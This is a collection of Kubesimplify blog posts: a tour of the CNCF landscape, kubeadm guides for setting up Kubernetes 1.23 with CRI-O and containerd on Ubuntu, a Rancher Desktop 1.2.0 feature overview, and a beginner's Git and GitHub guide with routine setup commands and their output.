CNCF serves as a vendor-neutral home for many opensource projects. 
CNCF is a very welcoming community and all types of contributions are welcome. 

In CNCF there are three types of projects
1. Graduated Projects - In this category we have matured projects which are ready for production use cases. These projects have gone through a lot of security scans and checks. Examples - K8s, Prometheus, Linkerd etc. 
2. Incubating Projects - These are projects which are still growing and getting production ready. Examples - ArgoCD, Chaos Mesh etc. 
3. Sandbox Projects - The CNCF Sandbox is an entry point for projects into the CNCF ecosystem. Examples - Keptn, Kyverno etc. 

You can checkout the landscape [here](https://landscape.cncf.io)

If you're looking at the landscape for the first time then it's very overwhelming. I will try to break it down into components that will make sense to you. 

Just think how a cloud native application is built from scratch and you will see that the landscape which was scary before has started making more sense.

### Containerization

The first step you do is write your application code and containerize that with the help of containerization tools like docker, crio, podman etc. This is where containerization comes into picture and there is a separate section for that in the CNCF landscape. Container runtimes are responsible for running our containerized workloads on a host operating system.


![Container Runtime](/img/blog/navigating-through-cncf-landscape/eqhlNj8wK.png)

## Container Registry 

After containerizing our application, we need to store our images somewhere and this is where container registry comes into picture. We have a separate section for container registry and this portion lists all the projects under this category. 

![Screenshot from 2022-03-26 13-28-08.png](/img/blog/navigating-through-cncf-landscape/DZxuuI2Oq.png)

### CI/CD

After containerizing our application we need to set up CI/CD for our application so that it automates the process of building an image and pushing it to the container registry. The process look something like this : 

![CI-CD](/img/blog/navigating-through-cncf-landscape/S1eVxr89e.png)

In the above diagram Jenkins is used to automate the CI-CD workflow we can use other tools too in place of Jenkins. We can also use different tools for CI and different tools for CD. 

For CI/CD projects we can look at the CI/CD category of the CNCF landscape. 


![CI-CD landscape](/img/blog/navigating-through-cncf-landscape/xx91MfAn-.png)

Please note that not all of these projects are cncf projects. Some of these projects are CNCF member projects and some are non CNCF member projects. You can filter that on the landscape page. 


## Scheduling and Orchestration 

To manage large number of containers we need orchestration engine that will ease out the process of managing containers. Container orchestration engine is responsible for managing, scaling, deploying and networking of containers. The most popular container orchestration engine is Kubernetes. Kubernetes was the first project to graduate from CNCF. 


![Screenshot from 2022-03-26 13-39-31.png](/img/blog/navigating-through-cncf-landscape/mmfdxob4i.png)

## Application Definition and Image build 

In kubernetes we have to deal with multiple k8s manifests. We can use helm to easily install applications into our kubernetes clusters. Helm is a package manager for kubernetes applications. Monokle is another tool that eases out the process of managing YAML files. It provides one command installation of apps. We can upgrade a release with one command and if something goes wrong we can rollback as well. In this section we also have multiple build tools like packer, buildpacks etc. 


![Screenshot from 2022-03-26 13-41-25.png](/img/blog/navigating-through-cncf-landscape/25GNJHKOQ.png)

## Observability and Analysis

we need to add some observability and analysis layer to our application and here we will use different tools for monitoring, logging, tracing, profiling. Monitoring is an important aspect of application. Monitoring gives you actionable insights into application. 

#### Monitoring related projects can be found in this section: 

![Screenshot from 2022-03-26 13-58-48.png](/img/blog/navigating-through-cncf-landscape/5f-f9cfOD.png)

#### Logging:

Logs help engineers in debugging when something goes wrong with the system. It also provides observability into kubernetes clusters. 


![Screenshot from 2022-03-26 14-05-38.png](/img/blog/navigating-through-cncf-landscape/rwarBW7-_.png)

#### Tracing:

Tracing is used for monitoring and troubleshooting microservices based distributed systems. Popular tracing projects include Jaeger and OpenTelemetry.


![Screenshot from 2022-03-26 14-06-50.png](/img/blog/navigating-through-cncf-landscape/tQANY5Dba.png)

#### Chaos Engineering and Continuous Optimization:

For checking the reliability of our systems and kubernetes clusters we can use chaos engineering tools like litmus chaos, chaos mesh etc. We can also use continuous optimization tools for our application.


![Screenshot from 2022-03-26 14-11-45.png](/img/blog/navigating-through-cncf-landscape/qnFH1WHxw.png)

## Service Proxy and Service Mesh:

Now to expose our application to end users we need to expose our services. To manage our services we need service proxy and if we have proliferation of services then to manage that we need service mesh. It is also used to trace the traffic and observe the application. Services also act as load balancers.


![Screenshot from 2022-03-26 14-14-50.png](/img/blog/navigating-through-cncf-landscape/-a0wVBgvd.png)

Projects under service mesh include:


![Screenshot from 2022-03-26 14-16-05.png](/img/blog/navigating-through-cncf-landscape/q6UNu8icF.png)

## Cloud Native Network 

we need to set up the networking for our cluster and for that we have the cloud native network section. Cilium and CNI popular projects in this category. [Cilium](https://cilium.io/) is an open source software for providing, securing and observing network connectivity between container workloads. 


![Screenshot from 2022-03-26 14-17-57.png](/img/blog/navigating-through-cncf-landscape/VFmLyZyrZ.png)

## Security and Compliance 

We can’t ignore security of our Kubernetes cluster and for that we have the security and compliance section and under this we have popular projects like OPA, falco etc. We can also define policies for our kubernetes clusters with the help of OPA, kyverno etc.  


![Screenshot from 2022-03-26 14-24-04.png](/img/blog/navigating-through-cncf-landscape/sjfH_LXxC.png)

## Database 

A cloudnative database is designed to take full advantage of cloud and distributed systems. Projects under this category are: 


![Screenshot from 2022-03-26 14-36-21.png](/img/blog/navigating-through-cncf-landscape/x1uP_kmvt.png)

## Storage

Rook is a popular project under this category. It works as a storage orchestrator for kubernetes. 

Projects under cloud native storage include: 

![Screenshot from 2022-03-26 14-40-17.png](/img/blog/navigating-through-cncf-landscape/lQ8MWzLU9.png)

## Streaming and Messaging

Cloud-native streaming is the processing of continuous data streams and is commonly used for large amounts of data and Cloud-native messaging is a communications model that enables asynchronous push-based communications between microservices. You can read more about it [here](https://www.cherryservers.com/blog/introduction-to-cloud-native-streaming-and-messaging-services).

Projects under this category include: 


![Screenshot from 2022-03-26 14-50-31.png](/img/blog/navigating-through-cncf-landscape/xFJDaesZ5.png)

These are the main sections of CNCF. It includes some others sections as well which I have not covered in this blog like serverless, coordination and service discovery etc. I hope this will give you a brief idea about CNCF landscape. 

Reference - 

- [CNCF landscape](https://landscape.cncf.io/)
- [Saiyam Pathak Video in Hindi](https://www.youtube.com/watch?v=GrSPJOuG54w)
- [CNCF projects brief overview in 40 minutes by Carson Anderson](https://youtu.be/H_BkBVAsVHQ)
- [Navigating the CNCF landscape kubecon talk](https://youtu.be/u7vUA61sZI4)
- Project Documentations

---

# Kubernetes 1.23 + CRI-O

- Canonical: https://blog.kubesimplify.com/kubernetes-crio
- Published: 2022-03-26

In the previous post, I showed you how to set up Kubernetes 1.23 with containerd on Ubuntu20.04 machines with one controlplane and three worker nodes. In this tutorial, I will show you how to do the same set-up with different container runtime - [CRI-O](https://github.com/cri-o/cri-o). 
So there are different runtimes that you can use when you set up your Kubernetes cluster and CRIO-O is one of them.
CRI-O is an implementation of the Kubernetes Container Runtime Interface (CRI) that will allow Kubernetes to directly launch and manage Open Container Initiative (OCI) containers. It does not have any CLI utility to interact with. 

**Prerequisites** 
- 4 Ubuntu 20.04 instances with ssh access to them, you can use any cloud provider to launch these instances
- Each instance should have a minimum of 4GB or ram

Here I have 4 instances in place 

| controlplane | 212.2.247.160 |
|--------------|---------------|
| worker1      | 212.2.244.23  |
| worker2      | 212.2.240.240 |
| worker3      | 212.2.241.78  |


Let's being!!

## Step 1 - Run this on all the machines

**Kubeadm | kubectl | kubelet install **

```
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt update -y
sudo apt -y install vim git curl wget kubelet=1.23.0-00 kubeadm=1.23.0-00 kubectl=1.23.0-00
sudo apt-mark hold kubelet kubeadm kubectl
```

**Disable swap** - swap should be disabled in order for kubelet to work properly. Though there is a [KEP](https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/2400-node-swap) to make this work which is in alpha since 1.22 Kubernetes version and marked in beta for 1.24. 

```
sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab
sudo swapoff -a
```

Load the br_netfilter module and let iptables see bridged traffic
```
sudo modprobe overlay
sudo modprobe br_netfilter
sudo tee /etc/sysctl.d/kubernetes.conf<<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
EOF
sysctl --system

```

**Setup CRI-O **

```
OS=xUbuntu_20.04
CRIO_VERSION=1.23
echo "deb https://download.opensuse.org/repositories/devel:/kubic:/libcontainers:/stable/$OS/ /"|sudo tee /etc/apt/sources.list.d/devel:kubic:libcontainers:stable.list
echo "deb http://download.opensuse.org/repositories/devel:/kubic:/libcontainers:/stable:/cri-o:/$CRIO_VERSION/$OS/ /"|sudo tee /etc/apt/sources.list.d/devel:kubic:libcontainers:stable:cri-o:$CRIO_VERSION.list
curl -L https://download.opensuse.org/repositories/devel:kubic:libcontainers:stable:cri-o:$CRIO_VERSION/$OS/Release.key | sudo apt-key add -
curl -L https://download.opensuse.org/repositories/devel:/kubic:/libcontainers:/stable/$OS/Release.key | sudo apt-key add -
sudo apt update -y
sudo apt install cri-o cri-o-runc -y
sudo systemctl enable crio.service
sudo systemctl start crio.service
sudo apt install cri-tools -y
```

**Configuring the kubelet cgroup driver**

From 1.22 onwards if you do not set the `cgroupDriver` field under `KubeletConfiguration`, kubeadm will default it to systemd. So you do not need to do anything here but if you want you can refer to this [documentation](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/configure-cgroup-driver/).


**Pull the images **

Pull the images for Kubernetes 1.23 version.

```
sudo kubeadm config images pull --cri-socket /var/run/crio/crio.sock --kubernetes-version v1.23.0
```

##Step2 - Run the cluster init command on the control plane node
Here the pod network CIDR is dependent on the CNI you will be installing later on, so in this case, I am using flannel and `--apiserver-advertise-address` will be the public IP for the instance(it can be private IP as well but if you want to access it from outside of the node by using Kubeconfig then you need to give the public IP).
 

```
sudo kubeadm init   --pod-network-cidr=10.244.0.0/16  --upload-certs --kubernetes-version=v1.23.0 --control-plane-endpoint=212.2.247.160 -cri-socket /var/run/crio/crio.sock
```

The above command will give the following output 


```
[init] Using Kubernetes version: v1.23.0
[preflight] Running pre-flight checks
[preflight] Pulling images required for setting up a Kubernetes cluster
[preflight] This might take a minute or two, depending on the speed of your internet connection
[preflight] You can also perform this action in beforehand using 'kubeadm config images pull'
[certs] Using certificateDir folder "/etc/kubernetes/pki"
[certs] Generating "ca" certificate and key
[certs] Generating "apiserver" certificate and key
[certs] apiserver serving cert is signed for DNS names [kube-crio-cp-c659-85648a kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local] and IPs [10.96.0.1 192.168.1.31 212.2.247.160]
[certs] Generating "apiserver-kubelet-client" certificate and key
[certs] Generating "front-proxy-ca" certificate and key
[certs] Generating "front-proxy-client" certificate and key
[certs] Generating "etcd/ca" certificate and key
[certs] Generating "etcd/server" certificate and key
[certs] etcd/server serving cert is signed for DNS names [kube-crio-cp-c659-85648a localhost] and IPs [192.168.1.31 127.0.0.1 ::1]
[certs] Generating "etcd/peer" certificate and key
[certs] etcd/peer serving cert is signed for DNS names [kube-crio-cp-c659-85648a localhost] and IPs [192.168.1.31 127.0.0.1 ::1]
[certs] Generating "etcd/healthcheck-client" certificate and key
[certs] Generating "apiserver-etcd-client" certificate and key
[certs] Generating "sa" key and public key
[kubeconfig] Using kubeconfig folder "/etc/kubernetes"
[kubeconfig] Writing "admin.conf" kubeconfig file
[kubeconfig] Writing "kubelet.conf" kubeconfig file
[kubeconfig] Writing "controller-manager.conf" kubeconfig file
[kubeconfig] Writing "scheduler.conf" kubeconfig file
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Starting the kubelet
[control-plane] Using manifest folder "/etc/kubernetes/manifests"
[control-plane] Creating static Pod manifest for "kube-apiserver"
[control-plane] Creating static Pod manifest for "kube-controller-manager"
[control-plane] Creating static Pod manifest for "kube-scheduler"
[etcd] Creating static Pod manifest for local etcd in "/etc/kubernetes/manifests"
[wait-control-plane] Waiting for the kubelet to boot up the control plane as static Pods from directory "/etc/kubernetes/manifests". This can take up to 4m0s
[apiclient] All control plane components are healthy after 14.008089 seconds
[upload-config] Storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace
[kubelet] Creating a ConfigMap "kubelet-config-1.23" in namespace kube-system with the configuration for the kubelets in the cluster
NOTE: The "kubelet-config-1.23" naming of the kubelet ConfigMap is deprecated. Once the UnversionedKubeletConfigMap feature gate graduates to Beta the default name will become just "kubelet-config". Kubeadm upgrade will handle this transition transparently.
[upload-certs] Storing the certificates in Secret "kubeadm-certs" in the "kube-system" Namespace
[upload-certs] Using certificate key:
8445f220e58d7a7c798b3ad546cad567d624870c1e4a12d28ee79909193b3931
[mark-control-plane] Marking the node kube-crio-cp-c659-85648a as control-plane by adding the labels: [node-role.kubernetes.io/master(deprecated) node-role.kubernetes.io/control-plane node.kubernetes.io/exclude-from-external-load-balancers]
[mark-control-plane] Marking the node kube-crio-cp-c659-85648a as control-plane by adding the taints [node-role.kubernetes.io/master:NoSchedule]
[bootstrap-token] Using token: pifmbf.xr4ku3c34oo5ej8l
[bootstrap-token] Configuring bootstrap tokens, cluster-info ConfigMap, RBAC Roles
[bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to get nodes
[bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials
[bootstrap-token] configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token
[bootstrap-token] configured RBAC rules to allow certificate rotation for all node client certificates in the cluster
[bootstrap-token] Creating the "cluster-info" ConfigMap in the "kube-public" namespace
[kubelet-finalize] Updating "/etc/kubernetes/kubelet.conf" to point to a rotatable kubelet client certificate and key
[addons] Applied essential addon: CoreDNS
[addons] Applied essential addon: kube-proxy

Your Kubernetes control-plane has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

Alternatively, if you are the root user, you can run:

  export KUBECONFIG=/etc/kubernetes/admin.conf

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  https://kubernetes.io/docs/concepts/cluster-administration/addons/

You can now join any number of the control-plane node running the following command on each as root:

  kubeadm join 212.2.247.160:6443 --token pifmbf.xr4ku3c34oo5ej8l \
	--discovery-token-ca-cert-hash sha256:648c17dde31e6350d1de94a077533963878eaf788e8fe655dde9cad33f75558f \
	--control-plane --certificate-key 8445f220e58d7a7c798b3ad546cad567d624870c1e4a12d28ee79909193b3931

Please note that the certificate-key gives access to cluster sensitive data, keep it secret!
As a safeguard, uploaded-certs will be deleted in two hours; If necessary, you can use
"kubeadm init phase upload-certs --upload-certs" to reload certs afterward.

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join 212.2.247.160:6443 --token pifmbf.xr4ku3c34oo5ej8l \
	--discovery-token-ca-cert-hash sha256:648c17dde31e6350d1de94a077533963878eaf788e8fe655dde9cad33f75558f  

```

**Export KUBECONFIG and install CNI Flannel 
**
```
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
export KUBECONFIG=/etc/kubernetes/admin.conf
kubectl apply -f https://github.com/coreos/flannel/raw/master/Documentation/kube-flannel.yml

```

## Step 3 Run the join command on all the worker nodes

```
kubeadm join 212.2.247.160:6443 --token pifmbf.xr4ku3c34oo5ej8l \
> --discovery-token-ca-cert-hash sha256:648c17dde31e6350d1de94a077533963878eaf788e8fe655dde9cad33f75558f 
[preflight] Running pre-flight checks
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'
W0324 02:16:14.318601    5480 utils.go:69] The recommended value for "resolvConf" in "KubeletConfiguration" is: /run/systemd/resolve/resolv.conf; the provided value is: /run/systemd/resolve/resolv.conf
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Starting the kubelet
[kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the control-plane to see this node join the cluster.

```

## Step 4 Nginx Test

You can copy the kubeconfig file from the controlplane node(~/.kube/config ) to local and export the KUBECONFIG variable or directly access the cluster from the controlplane node. 

```
kubectl get nodes
NAME                             STATUS   ROLES                  AGE     VERSION
kube-crio-cp-c659-85648a         Ready    control-plane,master   2m49s   v1.23.0
kube-crio-worker-1-da9d-dfce48   Ready    <none>                 27s     v1.23.0
kube-crio-worker-2-eaca-dfce48   Ready    <none>                 25s     v1.23.0
kube-crio-worker-3-84fe-dfce48   Ready    <none>                 23s     v1.23.0
```

The cluster is up and running with a single controlplane and 3 worker nodes.

Now run nginx 

```
kubectl run nginx --image=nginx
pod/nginx created

kubectl expose pod nginx --type=NodePort --port 80
service/nginx exposed

kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          48s

kubectl get svc nginx
NAME    TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
nginx   NodePort   10.100.155.137   <none>        80:31432/TCP   7s

```

Access the service using Node public IP:31393(make sure your firewall rules are properly set to allow traffic to required ports)



![image.png](/img/blog/kubernetes-crio/hQ83oVM-2.png)

Also when you describe the pod you can see CRIO as the runtime in the containerID section.

![image.png](/img/blog/kubernetes-crio/iOqpf-CqQ.png)


YAY!! you have successfully set up a self managed Kubernetes cluster, version 1.23.0 and CRI-O as the container runtime. 

Join the awesome kubesimplify community for more such blogs!

---

# Rancher Desktop evolution

- Canonical: https://blog.kubesimplify.com/rancher-desktop-evolution
- Published: 2022-03-25

I have been testing out and using Rancher desktop since it originally came out, did a stream and a [walkthrough video](https://youtu.be/9pJF83gxbtY) as well. 

When Rancher desktop originally started, the goal was simply to provide a simple Kubernetes cluster experience as a desktop application that is open source so that it can grow with community adoption. 

Rancher desktop provides the local Kubernetes environment and the project started with Rancher desktop bundled with kim, K3s as the Kubernetes distribution and containerd as the runtime. 

![image.png](/img/blog/rancher-desktop-evolution/2SKBs0Ru1.png)

[Kim](https://github.com/rancher/kim) - Kubernetes image manager, was also another project created at rancher with a similar UX like docker but not aiming to replace it all. 

Now this was well received by the community and Rancher desktop continued to evolve, the next big enhancement they did was to remove kim and have nerdctl as part of the project. nerdctl is a docker compatible CLI for containerd and it can be exactly used to build, run, push, tag images with many more features like IPFS support, lazy pulling, container image signing etc. I have discussed this in my [walkthrough video](https://youtu.be/9pJF83gxbtY).

So if you see the new architecture you will see that kim is replaced by nerdctl, there is docker support as well. The application runs even on the apple M1 chips. 
![image.png](/img/blog/rancher-desktop-evolution/ctrDfnOJF.png)

I created the video on [Rancher 1.0.0](https://youtu.be/9pJF83gxbtY) and all the features but the project is not stopping it is even evolving more!! As of yesterday(23rd March), rancher desktop 1.2.0 was launched with even more exciting features.


![image.png](/img/blog/rancher-desktop-evolution/j58MDJiFB.png)

Few updates in 1.1.0 were 
- have port-forward enabled for mac and linux
- ability to disable trafik to free port 80/443
- docker-compose included with the utility
- ability to disable Kubernetes and just run containerd or dockerd

## Rancher Desktop 1.2.0

There are two major new fancy features as of 1.2.0 which are experimental but looks promising. 

### Rancher dashboard 
You can select a dashboard from the application to launch the rancher dashboard. 

![image.png](/img/blog/rancher-desktop-evolution/XKuILS7mB.png)

It is dope as you have the power of the Rancher dashboard locally. 


![image.png](/img/blog/rancher-desktop-evolution/vtC6PyzTw.png)

You can create the resources directly from the dashboard
 
![image.png](/img/blog/rancher-desktop-evolution/yFNsw5lro.png)

You can execute the shell and go to the container directly from the dashboard!!

![image.png](/img/blog/rancher-desktop-evolution/E3AIu6VeG.png)

You can also get the complete node view.
![image.png](/img/blog/rancher-desktop-evolution/D9tGYmpsl.png)

Overall it is an impressive dashboard that makes it super easy to administer the cluster locally 


### Rancher desktop cli  

Another cool feature that made a debut in Rancher desktop 1.2.0 is the `rdctl` basically it is the utility that lets you do all the stuff that you can from the UI right in your command line. I think this is great if you just want to be in your terminal and do all the stuff right from there, right now the supported commands are below but over time it will grow. 

![image.png](/img/blog/rancher-desktop-evolution/qhHfmGzpj.png)

You can enable it directly from the utilities 
![image.png](/img/blog/rancher-desktop-evolution/nLisBa58s.png)


An example would be to change the Kubernetes version 

```
rdctl set --kubernetes-version v1.22.4
Status: triggering a restart to apply changes.
```
After sometime the cluster version will be upgraded to the one you specified form the CLI 

```
kubectl get nodes
NAME                   STATUS   ROLES                  AGE   VERSION
lima-rancher-desktop   Ready    control-plane,master   12s   v1.22.4+k3s1
```

Overall nerdctl and Rancher desktop is a good solution to work with containers and Kubernetes on your local machine! 

Give it a try and let me know how you find this tool. 

Follow the Kubesimplify community if you like the content.

---

# Git & Github : A Beginner's Guide

- Canonical: https://blog.kubesimplify.com/git-and-github-a-beginners-guide
- Published: 2022-03-24
- Summary: Git & Github Beginners Guide

Hello everyone 👋,  
In this article, we will be covering some basic and most useful git commands.

### What's Git & Github?

Git: Git is a free and open-source version control system, originally created by Linus Torvalds in 2005.
Git is widely used by developers all around the world to manage large and small-scale projects. Since it is an open-source project it is free to use. It helps us to keep track of every modification in our project. Git has been used by various organizations, businesses, professionals, and even startups to manage their code, task allocation, and project management.

Github: GitHub is one of the most advanced development platforms in the world. It has several useful features that enable development teams to work together on the same project and easily create new versions of software without disrupting the current versions. Github is just a cloud-based hosting service that let you manage Git. There are many applications like Github like GitLab or BitBucket.

### Git vs GitHub
![Screenshot 2022-03-18 at 11.19.50 PM.png](/img/blog/git-and-github-a-beginners-guide/jkkSSXuBm.png)

### Why Git & Github?

Git is a version control system so every time you commit some changes it remembers what changes you made on code. It is very essential when managing large databases. It simplifies the process of working with other people and makes it easy to collaborate on projects. We can say that Github is a Social media platform for developers. It is a great way to get noticed — Show off your code and your projects! Especially if you’re a student by using GitHub regularly you can learn how to work well in a development team environment. Git & Github is widely used by many tech giants as well as new startups.

### Installation

Install [Git](https://git-scm.com/downloads) by clicking on git here.

Verify Installation:
To verify if git is installed locally run this command on your terminal or cmd.


```
git --version

``` 
If this command returns the version of your git that means git is locally installed and we are ready to go.

### Git Configuration
If this is your first time using or installing git we have to set a name and email address identifiable across all repositories in Git.


- Set a name that is identifiable for credit when reviewing version history

```
git config --global user.name "[username]"

``` 
- Set an email address that will be associated with each history marker

```
git config --global user.email "[valid-email]"

``` 

> If you're a Student having a domain id from a university or college you will be eligible for Github Pro Account. 

### Git basic terminology
So before we get started we need some basic understanding.

1. Repository(Repo):  A repository is like a folder in Github. Your project's repository contains all its files such as code, documentation, images, etc. It tracks every code that anyone changes so if any error occurs we can go back to the previous version.

2. Branch: A branch in Git is simply a lightweight movable pointer to one of these commits. The default branch name in Git is "main" earlier it was used to be "master".A repository can have multiple branches.
While contributing to projects on Github we should never push our code on the main branch. The best practice would be to make a new branch and commit to that branch.

3. Checkout: The git checkout command is used to switch between branches in a repository.

4. Clone: git clone is a command-line utility used to target an existing repository and clone it locally.

5. Fork: Forking a repository allows you to freely test and debug with changes without affecting the original project. Basically, it creates a copy for you on our Github.

6. Main/Master: Main/Master is the default name of a repository’s active development branch. The main/master is the primary branch of all your repositories.

7. Fetch: It will fetch all the new code merged from the upstream(original repository).

8. Stash: While working with Git, you may need to make multiple changes to files, but you may not want all changes to go in one commit. If you want to pause the changes you are working on now in favor of working on another issue or improvement, you can “stash” your changes, essentially clearing them from the staging area until the changes are called again.



### Some Basic Linux Commands.
 
- `ls`: This command is used to list files or directories.
- `cd`: Stands for change directory it can go inside a directory by using. 
- `cd ..`: It is used to come outside the folder you're into.
- `touch`: It will create a new file.
- `vim`: It will help you make changes in files using your terminal.
- `cat`: The most commonly known usage is to print the content of a file onto the standard output stream.

### Working With Local Repositories. (In terminal)

Step 1. To start we will be making a separate folder using `mkdir` command.

```
mkdir Git-Practice

``` 
Step 2. To make changes we will go into the folder we created.

```
cd Git-Practice

``` 
Step 3. We have to initialize Git into our current repository which creates a hidden .git folder inside your folder.

```
git init

``` 
Step 4. For practice, we will be creating some demo files using the `touch` command and editing them using vim.

```
touch demo.txt
vim demo.txt 
``` 
It will open a separate vim window.  
To start writing we must press `i` to insert &    
to quit press `Esc key` + `:x` to save and exit from vim.

Step 5. Once every change has been made we can check the status. It will show what changes have been staged and what is not

```
git status

``` 
Step 6. To stage changes (to stage every change made in one go or we can write the name )

```
git add .

``` 
OR
```
git add <file-you-want-to-stage>

``` 
Step 7. Committing changes 

```
git commit -m "Your message here"

``` 
Step 8.  Logs check your entire commit history 

```
git log

``` 
> Since we have to push our code on Github we will be creating a new repository on Github. After that, we will copy the URL and use it on our terminal.

```
git remote add origin <your-git-repository-url>

``` 

Step 9.  To push our code on Github 

```
git push origin master

``` 
> After refreshing you will see all your code on Github.


### Working With Remote Repositories(For OpenSource)


Step 1: Fork the Repository you want to work on 


![Screenshot 2022-03-19 at 1.44.43 AM.png](/img/blog/git-and-github-a-beginners-guide/uQOB9155f.png)

Step 2: Clone the repo to work locally on the computer 

![Screenshot 2022-03-19 at 1.48.31 AM.png](/img/blog/git-and-github-a-beginners-guide/ukU-kvfEJ.png)

```
git clone <url-of-the-repo>

``` 
> It will download the repository locally on your computer.

Step 3. Once downloaded open it on our favorite IDE or code editor.

Step 4. Make the desired changes you want to make.

Step 5. Once every change has been made we can check the status. It will show what changes have been staged and what is not

```
git status

``` 
Step 6. To stage changes (to stage every change made in one go or we can write the name )

```
git add .

``` 
OR
```
git add <file-you-want-to-stage>

``` 
Step 7. We will create a new branch and commit our changes to our branch rather than pushing it on the main/master branch.

> During Open Source Contributions or contributing to projects online we must always create a new branch so that if our code has some error it will not break the system.

```
git branch <branch-name>

``` 
Step 8. To change the current branch from main/master --> <your-branch name>

```
git checkout <branch-name>

``` 
Step 7. Committing changes on our branch

```
git commit -m "Your message here"

``` 
Step 8. After committing we will push it on our forked repository.

```
git push origin <branch-name>

``` 
Step 9. A pull request would have been opened on your forked repository.

![Screenshot 2022-03-19 at 2.12.33 AM.png](/img/blog/git-and-github-a-beginners-guide/4M9hod8qI.png)

Step 10. Create a pull request. 

![Screenshot 2022-03-19 at 2.14.33 AM.png](/img/blog/git-and-github-a-beginners-guide/FjpZYaJwb.png)

Click on create a pull request and wait till your code gets merged or reviewed by the maintainers.

> Write what changes you have made in a detailed manner. Most of the time template would be given in Readme.MD file. So make sure it read it and do accordingly.


**A Small Task for all to check your knowledge** 
> [Git Practice](https://github.com/shaggyyy2002/Git-Practise) 
The Task is to clone this project add a file and create a pull request on your own.
Let's see how much you have learned.
 
**Join the awesome kubesimplify community for more such blogs!**

---

# Kubernetes 1.23 + containerd

- Canonical: https://blog.kubesimplify.com/kubernetes-containerd-setup
- Published: 2022-03-23
- Summary: Setup Kubernetes 1.23 with containerd as the container runtime on Ubuntu 20.04 machines with single controlplane and three worker nodes.

In this post, I will tell you how to set up a simple Kubernetes 1.23 cluster bootstrapped using kubeadm with containerd as the container runtime. This will be a simple setup with 1 control plane node and 3 worker nodes on Ubuntu 20.04 compute instances. 

Prerequisites 
- 4 Ubuntu 20.04 instances with ssh access to them, you can use any cloud provider to launch these instances
- Each instance should have a minimum of 4GB or ram

Here I have 4 instances in place 

| controlplane | 212.2.245.195 |
|--------------|---------------|
| worker1      | 212.2.247.25  |
| worker2      | 212.2.241.135 |
| worker3      | 212.2.245.36  |


Let's being!!

## Step 1 - Run this on all the machines

**Kubeadm | kubectl | kubelet install **

```
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt update -y
sudo apt -y install vim git curl wget kubelet=1.23.0-00 kubeadm=1.23.0-00 kubectl=1.23.0-00
sudo apt-mark hold kubelet kubeadm kubectl
```

**Disable swap** - swap should be disabled in order for kubelet to work properly. Though there is a [KEP](https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/2400-node-swap) to make this work which is in alpha since 1.22 Kubernetes version and marked in beta for 1.24. 

```
sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab
sudo swapoff -a
```

Load the br_netfilter module and let iptables see bridged traffic
```
sudo modprobe overlay
sudo modprobe br_netfilter
sudo tee /etc/sysctl.d/kubernetes.conf<<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
EOF
sysctl --system

```

**Setup Containerd 
**
```
cat <<EOF | sudo tee /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

# Setup required sysctl params, these persist across reboots.
cat <<EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF

# Apply sysctl params without reboot
sudo sysctl --system

#Install and configure containerd 
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt update -y
sudo apt install -y containerd.io
sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml

#Start containerd
sudo systemctl restart containerd
sudo systemctl enable containerd
```

**Configuring the kubelet cgroup driver
**
From 1.22 onwards if you do not set the `cgroupDriver` field under `KubeletConfiguration`, kubeadm will default it to systemd. So you do not need to do anything here but if you want you can refer to this [documentation](https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/configure-cgroup-driver/).


**Pull the images 
**
Pull the images for Kubernetes 1.23 version.

```
sudo kubeadm config images pull --cri-socket /run/containerd/containerd.sock --kubernetes-version v1.23.0
```

